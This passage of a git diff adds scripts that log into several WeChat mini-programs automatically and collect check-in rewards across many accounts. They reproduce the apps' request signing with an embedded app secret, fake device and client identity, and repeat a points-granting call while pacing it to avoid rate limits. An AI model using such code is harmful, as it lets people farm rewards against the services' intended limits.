TOKEN_CACHE_PATH.exists(): + return {} + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8" + ) + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +def get_cached_entity(account_id): + return read_token_cache().get(account_id) or {} + + +def save_cached_entity(account_id, entity): + cache = read_token_cache() + cache[account_id] = { + "token": entity.get("token"), + "id": entity.get("id"), + "uid": entity.get("uid"), + "identity": entity.get("identity"), + "identityCard": entity.get("identityCard"), + "updatedAt": int(time.time()), + } + write_token_cache(cache) + + +def remove_cached_entity(account_id): + cache = read_token_cache() + if account_id in cache: + del cache[account_id] + write_token_cache(cache) + + +# --------------------------------------------------------------------------- +# smallcat: openid -> wx.login code +# --------------------------------------------------------------------------- +def get_wx_code(account_id): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法从 wx_server 获取 code") + headers = {"Accept": "application/json", "Content-Type": "application/json", + "auth": WX_AUTH} + body = json.dumps({"appid": MINI_APP_ID, "openid": account_id}) + last_msg = "" + for attempt in range(4): + if attempt: + # smallcat 偶发 "获取失败"(会话抖动), 刷新会话后间隔重试 + try: + session.post(f"{WX_SERVER_URL}/wx/refresh", data=body, + headers=headers, timeout=30) + except Exception: + pass + time.sleep(3) + resp = session.post(f"{WX_SERVER_URL}/wx/code", data=body, + headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server 获取 code 失败(已重试): {last_msg}") + + +# --------------------------------------------------------------------------- +# 北京环球 API (复刻 599C3084...js 的 HTTP-Signatures 签名) +# --------------------------------------------------------------------------- +def sign_headers(body_str, token=None, user_id=None): + """复刻请求签名: digest=SHA-256(base64), 签名串 hmac-sha1(base64)。""" + x_date = formatdate(usegmt=True) # 对应 JS new Date().toUTCString() + digest = "SHA-256=" + base64.b64encode( + hashlib.sha256(body_str.encode("utf-8")).digest() + ).decode("ascii") + signing_string = f"x-date: {x_date}\ndigest: {digest}" + signature = base64.b64encode( + hmac.new(HMAC_SECRET.encode("utf-8"), signing_string.encode("utf-8"), + hashlib.sha1).digest() + ).decode("ascii") + headers = { + "Accept": "application/json", + "Content-Type": "application/json", + "X-date": x_date, + "Digest": digest, + "Authorization": ( + f'hmac username="{HMAC_USERNAME}", algorithm="hmac-sha1", ' + f'headers="x-date digest", signature="{signature}"' + ), + "User-Agent": DEFAULT_UA, + "Referer": f"https://servicewechat.com/{MINI_APP_ID}/0/page-frame.html", + } + if token is not None: + headers["ArrowAuthorization"] = token or "" + headers["userId"] = str(user_id if user_id is not None else "") + return headers + + +def api_post(path, body, token=None, user_id=None): + """POST 业务接口: body 序列化后同时用于签名与请求体 (必须一致)。""" + body_str = json.dumps(body, separators=(",", ":"), ensure_ascii=False) + headers = sign_headers(body_str, token=token, user_id=user_id) + resp = session.post(f"{BASE_URL}{path}", data=body_str.encode("utf-8"), + headers=headers, timeout=30) + # 会话失效时服务端是用 HTTP 401/403 表达的, 不是 JSON 信封里的 code。 + # raise_for_status() 会在 run_account 的重登重放分支之前就把它抛成异常 + # (实测缓存 token 过期后直接报 "401 Client Error", 整个账号失败), + # 所以这里把它翻译成带 code 的信封, 交给调用方去重登。 + if resp.status_code in SESSION_CODES: + try: + data = resp.json() + except Exception: + data = {} + if not isinstance(data, dict): + data = {} + data["code"] = resp.status_code + return data + resp.raise_for_status() + return resp.json() + + +def envelope_entity(resp): + data = resp.get("data") if isinstance(resp, dict) else None + if isinstance(data, dict) and isinstance(data.get("entity"), dict): + return data["entity"] + if isinstance(resp, dict) and isinstance(resp.get("entity"), dict): + return resp["entity"] + return {} + + +def resp_code(resp): + for k in ("code", "status"): + v = (resp or {}).get(k) + if v is not None: + try: + return int(v) + except (TypeError, ValueError): + pass + return -1 + + +# --------------------------------------------------------------------------- +# 登录 / 会话 +# --------------------------------------------------------------------------- +def is_member(entity): + """源码: uid 非空 <=> 已完成手机号授权注册的会员 (isAuth/hasPhone 均以 uid 判定)。""" + return bool(entity) and str(entity.get("id", "-1")) != "-1" and bool(entity.get("uid")) + + +def login(account_id): + """wx.login code -> user/login (postNoAuth, 无 ArrowAuthorization) -> entity。 + + 源码逻辑: 200 时若 data.entity.id 存在则为会员实体, 否则视为未注册 + (NONMEMBER, id=-1)。未注册用户需在小程序内经手机号授权 (wechatLogin) 注册, + 属于手机号 PII 前置条件, 本脚本不自动触发, 仅识别并如实上报。 + """ + code = get_wx_code(account_id) + body = {"code": code, "registerSource": "", "activityCode": ACTIVITY_CODE} + # 登录接口 postNoAuth: 仍签名, 但不带 ArrowAuthorization/userId + resp = api_post(f"{PATH_PREFIX}/ubr/user/login", body) + if resp_code(resp) != SUCCESS_CODE: + raise RuntimeError(f"登录失败: {resp.get('message') or resp.get('msg') or resp}") + entity = envelope_entity(resp) + if not entity or str(entity.get("id", "-1")) == "-1": + entity = {"id": "-1", "uid": "", "identity": "NONMEMBER"} + return entity + + +def get_entity_for_account(account_id, index, force=False): + if not force: + cached = get_cached_entity(account_id) + if cached.get("token") and is_member(cached): + print(f"账号 {index} 使用缓存 token: {mask(cached.get('token'))}") + return cached + entity = login(account_id) + if is_member(entity): + save_cached_entity(account_id, entity) + print(f"账号 {index} code 登录成功: 会员 {mask(entity.get('token'))}") + else: + remove_cached_entity(account_id) + print(f"账号 {index} code 登录成功: 未注册会员 (NONMEMBER)") + return entity + + +# --------------------------------------------------------------------------- +# 签到业务 +# --------------------------------------------------------------------------- +def activity_detail(token, user_id): + return api_post(f"{PATH_PREFIX}/business/activityRecord/detail", + {"userId": user_id, "activityCode": ACTIVITY_CODE, + "prePrizeIds": []}, token=token, user_id=user_id) + + +def sign_in_record(token, user_id, month): + return api_post(f"{PATH_PREFIX}/business/yunyingqiu/signInRecord", + {"userId": user_id, "activityCode": ACTIVITY_CODE, + "month": month}, token=token, user_id=user_id) + + +def complete_quest(token, user_id, quest_template_id): + return api_post(f"{PATH_PREFIX}/business/activityRecord/completeQuest", + {"userId": user_id, "activityCode": ACTIVITY_CODE, + "questTemplateId": quest_template_id}, + token=token, user_id=user_id) + + +def select_surprise5_pool(token, user_id, prize): + """一次性选择「连续签到5天」抽奖奖池 (surprise5select)。 + + 复刻小程序确认弹窗的提交: POST /business/surpriseFivePhase/selectedPrize + body {selectedPrize:[prize], userId}, 成功 code==200。prize ∈ ticket1/ticket2/hotel。 + 仅在检测到奖池门槛且用户已授权(bjhqbwz_pool)时调用一次, 服务端按活动/期次判定, + 已选过则再次签到不会触发门槛, 故天然幂等。 + """ + return api_post(f"{PATH_PREFIX}/business/surpriseFivePhase/selectedPrize", + {"selectedPrize": [prize], "userId": user_id}, + token=token, user_id=user_id) + + +def find_sign_in_template_id(detail_resp): + entity = envelope_entity(detail_resp) + for quest in entity.get("questList") or []: + if quest.get("templateCode") == "SIGN_IN": + return quest.get("templateId") + return None + + +def already_signed_today(record_resp): + entity = envelope_entity(record_resp) + today = bj_now().strftime("%Y-%m-%d") + for info in entity.get("signInInfos") or []: + if info.get("day") == today and info.get("signIn"): + return True + return False + + +def run_account(account_id, index): + lines = [f"【账号 {index}】"] + + entity = get_entity_for_account(account_id, index) + + # 前置条件: 未注册会员 (无手机号授权) 无法签到; 如实上报, 不自动触发手机号授权 + if not is_member(entity): + msg = "该账号尚未注册, 需先在小程序「北京环球度假区互动福利站→签到」完成手机号授权注册后才能签到" + print(f"⚠️ 账号 {index} {msg}") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + + token = entity.get("token") + user_id = entity.get("id") + if not token: + msg = "登录未返回会话凭证 (token), 需在小程序内重新登录一次以生成会话后再运行" + print(f"⚠️ 账号 {index} {msg}") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + + # 拉取任务详情 (首个鉴权调用); 会话失效则强制重登重试一次 + detail = activity_detail(token, user_id) + if resp_code(detail) in SESSION_CODES: + print(f"账号 {index} 会话失效, 重新登录...") + remove_cached_entity(account_id) + entity = get_entity_for_account(account_id, index, force=True) + token, user_id = entity.get("token"), entity.get("id") + detail = activity_detail(token, user_id) + + dcode = resp_code(detail) + if dcode in (NEED_GOV_CODE, NEED_CERT_CODE): + msg = "需先在小程序内完成实名/身份证信息后才能签到" + print(f"⚠️ 账号 {index} {msg} (code={dcode})") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + if dcode != SUCCESS_CODE: + msg = detail.get("message") or detail.get("msg") or f"获取活动详情失败 code={dcode}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + template_id = find_sign_in_template_id(detail) + if not template_id: + msg = "未找到签到任务(SIGN_IN), 活动可能已结束" + print(f"⚠️ 账号 {index} {msg}") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + + # 幂等预检: 今日是否已签到 + month = bj_now().strftime("%Y-%m") + try: + record = sign_in_record(token, user_id, month) + if resp_code(record) == SUCCESS_CODE and already_signed_today(record): + msg = "今日已签到, 无需重复" + print(f"✅ 账号 {index} {msg}") + lines.append(f"✅ {msg}") + return "\n".join(lines), True + except Exception as e: + print(f"账号 {index} 签到记录预检失败(忽略, 继续签到): {e}") + + result = complete_quest(token, user_id, template_id) + rcode = resp_code(result) + + # 奖池门槛: 首签前需选一个抽奖奖池。按用户授权(bjhqbwz_pool)自动选定一次后重试; + # 未授权(置空)则如实上报, 由用户在小程序内手动选。选池是一次性动作, 不触发抽奖。 + if rcode != SUCCESS_CODE and POOL_GATE_HINT in (result.get("message") or result.get("msg") or ""): + if POOL_CHOICE in POOL_LABELS: + label = POOL_LABELS[POOL_CHOICE] + print(f"账号 {index} 检测到奖池门槛, 按授权自动选定奖池「{label}」...") + sel = select_surprise5_pool(token, user_id, POOL_CHOICE) + if resp_code(sel) == SUCCESS_CODE: + print(f"账号 {index} 奖池已选定「{label}」, 重试签到...") + lines.append(f"已选定奖池「{label}」") + result = complete_quest(token, user_id, template_id) + rcode = resp_code(result) + else: + smsg = sel.get("message") or sel.get("msg") or f"code={resp_code(sel)}" + print(f"⚠️ 账号 {index} 选择奖池失败: {smsg}") + lines.append(f"⚠️ 选择奖池失败({smsg})。{POOL_GATE_MSG}") + return "\n".join(lines), False + else: + print(f"⚠️ 账号 {index} {POOL_GATE_MSG}") + lines.append(f"⚠️ {POOL_GATE_MSG}") + return "\n".join(lines), False + + if rcode in (NEED_GOV_CODE, NEED_CERT_CODE): + msg = "需先在小程序内完成实名/身份证信息后才能签到" + print(f"⚠️ 账号 {index} {msg} (code={rcode})") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + if rcode != SUCCESS_CODE: + raw_msg = result.get("message") or result.get("msg") or "" + if POOL_GATE_HINT in raw_msg: # 选池后仍报门槛(异常), 转为可读上报 + print(f"⚠️ 账号 {index} {POOL_GATE_MSG}") + lines.append(f"⚠️ {POOL_GATE_MSG}") + return "\n".join(lines), False + msg = raw_msg or f"签到失败 code={rcode}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + rentity = envelope_entity(result) + total = rentity.get("signInTotal") + chances = rentity.get("chanceList") or [] + msg = "签到成功" + if total is not None: + msg += f", 连续签到 {total} 天" + if chances: + msg += f", 获得 {len(chances)} 次抽奖机会(请在小程序内手动抽奖)" + print(f"🎉 账号 {index} {msg}") + lines.append(f"🎉 {msg}") + return "\n".join(lines), True + + +def main(): + raw = os.getenv("bjhqbwz", "") + accounts = [x.strip() for x in raw.replace("&", "\n").splitlines() if x.strip()] + + if not accounts: + print("❌ 未检测到账号信息(环境变量 bjhqbwz), 退出。") + return + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + + print("=============== 北京环球 签到开始 ===============") + summaries = [] + ok_count = 0 + for i, entry in enumerate(accounts, 1): + parts = entry.split("#", 1) + account = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" + print(f"\n-------------- 账号 {i}{('/' + remark) if remark else ''} --------------") + try: + summary, ok = run_account(account, i) + summaries.append(summary) + ok_count += 1 if ok else 0 + except Exception as e: + print(f"❌ 账号 {i} 执行异常: {e}") + summaries.append(f"【账号 {i}】\n❌ 执行异常: {e}") + time.sleep(1) + + print("\n=============== 北京环球 签到结束 ===============") + title = f"北京环球签到 {ok_count}/{len(accounts)} 成功" + try: + send(title, "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") + + +if __name__ == "__main__": + main() diff --git a/wxapp/bluedash.js b/wxapp/bluedash.js new file mode 100644 index 00000000..b78b2125 --- /dev/null +++ b/wxapp/bluedash.js @@ -0,0 +1,248 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: BLUE DASH 布鲁大师小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:bluedash +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("BLUE DASH 布鲁大师签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx73555499305578f8"; +const API_BASE = "https://wxsc.blue-dash.com/prod-api"; +const LOGIN_TYPE = "34"; +const LOGIN_STATE = "blue_dash"; +const TOKEN_CACHE_FILE = path.join(__dirname, "bluedash_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "bluedash"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.authorization = ""; + this.refreshToken = ""; + this.user = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.authorization) { + await this.loginByWxCode(); + if (!this.authorization) return; + } + + await this.getSignList(); + await this.doSign(); + await this.getUser(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.authorization) return; + const cache = readTokenCache(); + cache[this.openid] = { + authorization: this.authorization, + refreshToken: this.refreshToken, + nickname: this.user.nickname || "", + mobile: this.user.mobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.authorization = ""; + this.refreshToken = ""; + } + + applyToken(data = {}) { + const accessToken = data.accessToken || data.access_token || ""; + this.authorization = data.authorization || data.Authorization || (accessToken ? `Bearer ${accessToken}` : ""); + this.refreshToken = data.refreshToken || data.refresh_token || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/39/page-frame.html`, + "Accept": "application/json, text/plain, */*", + ...extra, + }; + if (this.authorization) headers.Authorization = this.authorization; + return headers; + } + + async request({ method = "GET", apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method === "GET") options.params = params; + else options.data = data; + if (skipToken) delete options.headers.Authorization; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const message = result?.msg || result?.message || JSON.stringify(result); + const err = new Error(message); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + apiPath: "/app-api/member/auth/social-login", + skipToken: true, + data: { + code, + type: LOGIN_TYPE, + state: LOGIN_STATE, + }, + }); + this.applyToken(data); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getUser(); + return true; + } catch (e) { + return false; + } + } + + async getUser() { + const data = await this.request({ apiPath: "/app-api/member/user/get" }); + this.user = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 用户: ${data?.nickname || ""} ${maskPhone(data?.mobile) || ""} 积分=${data?.score ?? "未知"}`); + return data; + } + + async getSignList() { + try { + const data = await this.request({ + apiPath: "/app-api/member/sign-log/page", + params: { + pageNo: 1, + pageSize: 100, + }, + }); + const list = data?.pageResult?.list || []; + const today = new Date().toISOString().slice(0, 10); + this.isTodaySign = list.some((item) => item?.date === today); + $.log(`账号[${this.index}] 签到记录: 连续${data?.coiledDay || 0}天 今日=${this.isTodaySign ? "已签" : "未签"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询签到记录失败: ${e.message || e}`); + if (e.code === 401 || /token|登录|授权/i.test(String(e.message || e))) this.removeCachedToken(); + } + } + + async doSign() { + if (this.isTodaySign) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const data = await this.request({ + method: "POST", + apiPath: "/app-api/member/sign-log/sign", + }); + $.log(`账号[${this.index}] 签到成功: +${data?.score ?? data ?? "未知"}积分`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|重复|今日.*签/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === 401 || /token|登录|授权/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/bmsb.js b/wxapp/bmsb.js new file mode 100644 index 00000000..ad550c56 --- /dev/null +++ b/wxapp/bmsb.js @@ -0,0 +1,239 @@ +/* +------------------------------------------ +@Description: 宝妈上班(wolf) - 微信小程序静默登录 + 自动赚取贡献值 +cron: 17 8 * * * +------------------------------------------ +变量名:bmsb +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +可选: +bmsb_max_runs 单账号最多领取次数,默认 20(服务端到上限会自动停) +------------------------------------------ +契约(wx appid wxe6cb23a7f02277ed,UniCloud spaceId mp-50d375d9-...,网关 api.next.bspapp.com/client): +(迁移自 YYB-GO 系脚本,基于 DCloud UniCloud API;已 Node 实测通) + +签名:x-serverless-sign = HMAC-MD5(CLIENT_SECRET, 顶层字段按key排序 "k=v" 过滤空值后 & 连接) +① accessToken:POST /client {method:"serverless.auth.user.anonymousAuthorize",params:"{}",spaceId,timestamp} → data.accessToken(600s) +② 云函数:POST /client {method:"serverless.function.runtime.invoke", + params:JSON({functionTarget,functionArgs:{...,clientInfo,uniIdToken}}),spaceId,timestamp,token} + 头 x-basement-token:token +登录 uni-id-co / loginByWeixin params:[{code}] → data.newToken.token(uniIdToken JWT,~72h) +uid DCloud-clientDB 查 uni-id-users where '_id'==$cloudEnv_uid → uid +赚取 wolf-order / createContribution params:[{uid}] → data.errCode==0「发放成功」cons:250;到上限 errCode!=0 +CLIENT_SECRET/spaceId/UNI_APPID 是应用固定配置(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("宝妈上班"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "bmsb"; +const WX_APPID = "wxe6cb23a7f02277ed"; +const UNI_APPID = "__UNI__AE9315F"; +const APP_NAME = "张团--小程序22"; +const API_URL = "https://api.next.bspapp.com/client"; +const SPACE_ID = "mp-50d375d9-5c5e-4271-8517-b09cb093334b"; +const CLIENT_SECRET = "Gf/DmFLzvUNIqaty2aIXEQ=="; +const MAX_RUNS = Number(process.env.bmsb_max_runs || 20); +const TOKEN_CACHE_FILE = path.join(__dirname, "bmsb_token_cache.json"); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: WX_APPID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function genSign(body) { + const parts = Object.keys(body).sort().filter((k) => String(body[k]) !== "").map((k) => `${k}=${body[k]}`); + return crypto.createHmac("md5", CLIENT_SECRET).update(parts.join("&"), "utf8").digest("hex"); +} +function headers(extra) { + return { + "Content-Type": "application/json", + charset: "utf-8", + "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/146.0.7680.178 Mobile Safari/537.36 MicroMessenger/8.0.71", + Referer: `https://servicewechat.com/${WX_APPID}/3/page-frame.html`, + ...(extra || {}), + }; +} +function buildClientInfo() { + return { + PLATFORM: "mp-weixin", OS: "android", APPID: UNI_APPID, + DEVICEID: String(Math.floor(Math.random() * 9e18 + 1e18)), scene: 1011, + appId: UNI_APPID, appName: APP_NAME, appVersion: "1.0.0", appVersionCode: "100", + appLanguage: "zh-Hans", hostVersion: "8.0.71", hostName: "WeChat", uniPlatform: "mp-weixin", + uniCompilerVersion: "5.07", uniRuntimeVersion: "5.07", deviceType: "phone", + deviceBrand: "redmi", deviceModel: "Redmi K30 Pro", osName: "android", osVersion: "12", + locale: "zh-Hans", LOCALE: "zh-Hans", + }; +} +/** JWT 剩余小时数,无法解析返回 null */ +function jwtRemainingHours(token) { + try { + let p = String(token).split(".")[1]; + p += "=".repeat((4 - (p.length % 4)) % 4); + const payload = JSON.parse(Buffer.from(p.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8")); + return (payload.exp - Math.floor(Date.now() / 1000)) / 3600; + } catch (e) { + return null; + } +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.accessToken = ""; + this.accessExpire = 0; + this.uniIdToken = ""; + this.uid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getAccessToken() { + if (this.accessToken && Date.now() < this.accessExpire - 30000) return this.accessToken; + const body = { method: "serverless.auth.user.anonymousAuthorize", params: "{}", spaceId: SPACE_ID, timestamp: Date.now() }; + const res = await axios.post(API_URL, body, { headers: headers({ "x-serverless-sign": genSign(body) }), timeout: 20000, validateStatus: () => true }); + const d = res.data || {}; + if (!d.success || !(d.data || {}).accessToken) throw new Error(`accessToken 获取失败: ${short(d)}`); + this.accessToken = d.data.accessToken; + this.accessExpire = Date.now() + (d.data.expiresInSecond || 600) * 1000; + return this.accessToken; + } + async callApi(functionTarget, functionArgs, retry = true) { + const token = await this.getAccessToken(); + const args = { ...functionArgs, clientInfo: buildClientInfo(), uniIdToken: this.uniIdToken || "" }; + const body = { + method: "serverless.function.runtime.invoke", + params: JSON.stringify({ functionTarget, functionArgs: args }), + spaceId: SPACE_ID, timestamp: Date.now(), token, + }; + const res = await axios.post(API_URL, body, { headers: headers({ "x-basement-token": token, "x-serverless-sign": genSign(body) }), timeout: 20000, validateStatus: () => true }); + const d = res.data || {}; + if (retry && !d.success && (d.error || {}).code === "GATEWAY_INVALID_TOKEN") { + this.accessToken = ""; this.accessExpire = 0; + return this.callApi(functionTarget, functionArgs, false); + } + return d; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async loginByWeixin() { + const code = await this.getCode(); + const res = await this.callApi("uni-id-co", { method: "loginByWeixin", params: [{ code }] }); + const token = res?.data?.newToken?.token || res?.data?.token; + if (!res?.success || !token) throw new Error(`loginByWeixin 失败: ${short(res)}`); + this.uniIdToken = token; + const cache = readCache(); + cache[this.account.openid] = { uniIdToken: token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功(uniIdToken 已获取)"); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (cached.uniIdToken) { + const h = jwtRemainingHours(cached.uniIdToken); + if (h !== null && h > 1) { this.uniIdToken = cached.uniIdToken; this.log(`使用缓存token(剩余 ${h.toFixed(1)}h)`); return; } + } + await this.loginByWeixin(); + } + async extractUid() { + const res = await this.callApi("DCloud-clientDB", { + command: { $db: [ + { $method: "collection", $param: ["uni-id-users"] }, + { $method: "where", $param: ["'_id' == $cloudEnv_uid"] }, + { $method: "field", $param: ["uid,_id,mobile,nickname,my_invite_code,money,score,level"] }, + { $method: "get", $param: [] }, + ] }, + }); + const u = ((res?.data || {}).data || [])[0] || {}; + this.uid = String(u.uid || u._id || ""); + if (u.nickname !== undefined || u.score !== undefined) this.log(`昵称 ${u.nickname ?? "-"} | 积分 ${u.score ?? "-"} | 余额 ${u.money ?? "-"}`); + return this.uid; + } + async createContribution() { + return this.callApi("wolf-order", { method: "createContribution", params: [{ uid: this.uid }] }); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + if (!(await this.extractUid())) { this.log("⚠️ 未能获取 uid(该微信号可能未注册),跳过"); return; } + let earned = 0, ok = 0, fails = 0; + for (let i = 0; i < MAX_RUNS; i++) { + const res = await this.createContribution(); + if (!res || !res.success) { + if (++fails >= 3) { this.log("连续3次失败,终止"); break; } + await $.wait(8000, 15000); continue; + } + const d = res.data || {}; + if (Number(d.errCode) === 0) { + const inner = d.data || {}; + earned += inner.cons || 0; ok++; fails = 0; + this.log(`[${i + 1}/${MAX_RUNS}] 发放成功 贡献值 ${inner.cons ?? "?"}(今日第 ${inner.count ?? "?"} 次)`); + await $.wait(10000, 18000); + } else { + const em = d.errMsg || short(d); + if (/频繁|稍后|too frequent|请等待|间隔/i.test(em)) { + // 限频:等待更久后重试,不计入连续失败 + this.log(`[${i + 1}/${MAX_RUNS}] 限频(${em}),等待后重试`); + await $.wait(12000, 22000); + continue; + } + // 达上限/其它业务错误,停止 + this.log(`已停止:${em}`); + break; + } + } + this.log(`✅ 完成,本次成功 ${ok} 次,累计贡献值 +${earned}`); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(2000, 4000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/bqs.js b/wxapp/bqs.js new file mode 100644 index 00000000..e3bf4ef7 --- /dev/null +++ b/wxapp/bqs.js @@ -0,0 +1,219 @@ +/* +------------------------------------------ +@Description: 倍轻松(BREO) - 微信小程序静默登录 + 每日签到(打卡) +cron: 12 9 * * * +------------------------------------------ +变量名:bqs +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx61457400e4212cec,host breoplus.breo.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;两步登录 → JWT token) + +两步登录(openId/unionId 由 code 登录端自行下发,非 smallcat 加密态): + 1) GET /app/minic/login/{code} 头 appHeaders(无token) + -> code=="200" && data.{uid,openId,unionId,...} + 2) POST /breo-app/customer/loginByUid 头 appHeaders body={uid,openId,unionId} + -> success===true|code∈(0000,200) && result.token(JWT,缓存复用) +签到 POST /breo-app/user/po-task-info/punch 头 taskHeaders(token) 无 body + -> success===true(result.point/grow);重复签到 success:false + message 提示 +浏览商城(每日附带任务,best-effort,不影响判定) + POST /breo-app/user/po-task-info/mall 头 taskHeaders(token) +应用级常量:host / 端点 / channel:Breo / 